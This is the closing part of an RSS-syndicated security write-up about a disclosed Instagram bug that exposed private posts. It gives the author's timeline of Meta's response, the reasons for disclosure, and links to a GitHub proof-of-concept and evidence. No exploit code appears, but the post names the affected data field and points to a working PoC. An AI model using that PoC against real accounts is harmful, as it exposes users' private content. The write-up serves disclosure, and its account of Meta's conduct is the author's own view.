src="https://cdn-images-1.medium.com/max/1024/1*RFcZRkk8RDlUjCwfAdmlSQ.png" /><figcaption><em>Before: Private data visible in `polaris_timeline_connection.edges</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ceBwPLoCrii_0slfHi86yg.png" /><figcaption><em>After: Same request returns empty `edges` array. </em><strong><em>Source </em></strong><a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/network_logs_and_samples/videos.txt"><strong><em>Video 4</em></strong></a></figcaption></figure><h4><strong>What Really Happened?</strong></h4><p>I don’t know if this was a cover-up or negligence. Both explanations are concerning.</p><p>What I know is:</p><ul><li>The vulnerability existed and was documented with video evidence</li><li>Meta asked me to provide vulnerable accounts</li><li>Those exact accounts were patched within 48 hours</li><li>Meta then claimed the issue was unreproducible</li><li>The case was closed without root cause analysis</li></ul><p>Instagram serves over a billion users who rely on “private” meaning private. A conditional bug that exposes some accounts but not others is arguably more dangerous than one that affects everyone — it’s harder to detect, harder to diagnose, and harder to confirm as fixed.</p><p>Dismissing it with “infrastructure changes” doesn’t inspire confidence.</p><h4><strong>Why I’m Disclosing</strong></h4><p>The standard coordinated disclosure window is 90 days. I gave Meta 102 days and multiple escalation attempts. The exploit stopped working on all accounts I tested — though without root cause analysis from Meta, there’s no confirmation the underlying issue is truly resolved.</p><h4><strong>Technical Details</strong></h4><p>For those who want to dig deeper:</p><ul><li><strong>Github&amp; README —</strong> <a href="https://github.com/jatin-dot-py/instagram-private-bypass">Overview and evidence links</a></li><li><strong>TIMELINE.md with videos, images</strong>— <a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/TIMELINE.md">Complete chronological record</a></li><li><strong>poc.py </strong>—<a href="https://github.com/jatin-dot-py/instagram-private-bypass/blob/main/poc.py"> Proof-of-concept script</a></li><li><strong>official_communication/ </strong>— <a href="https://github.com/jatin-dot-py/instagram-private-bypass/tree/main/official_communication">Full Meta correspondence (PDF)</a></li></ul><p><em>Contact info available in the </em><a href="https://github.com/jatin-dot-py/instagram-private-bypass"><strong><em>GitHub README</em></strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eebb7923f7e3" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-found-a-bug-that-exposed-private-instagram-posts-to-anyone-eebb7923f7e3">I Found a Bug That Exposed Private Instagram Posts to Anyone.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>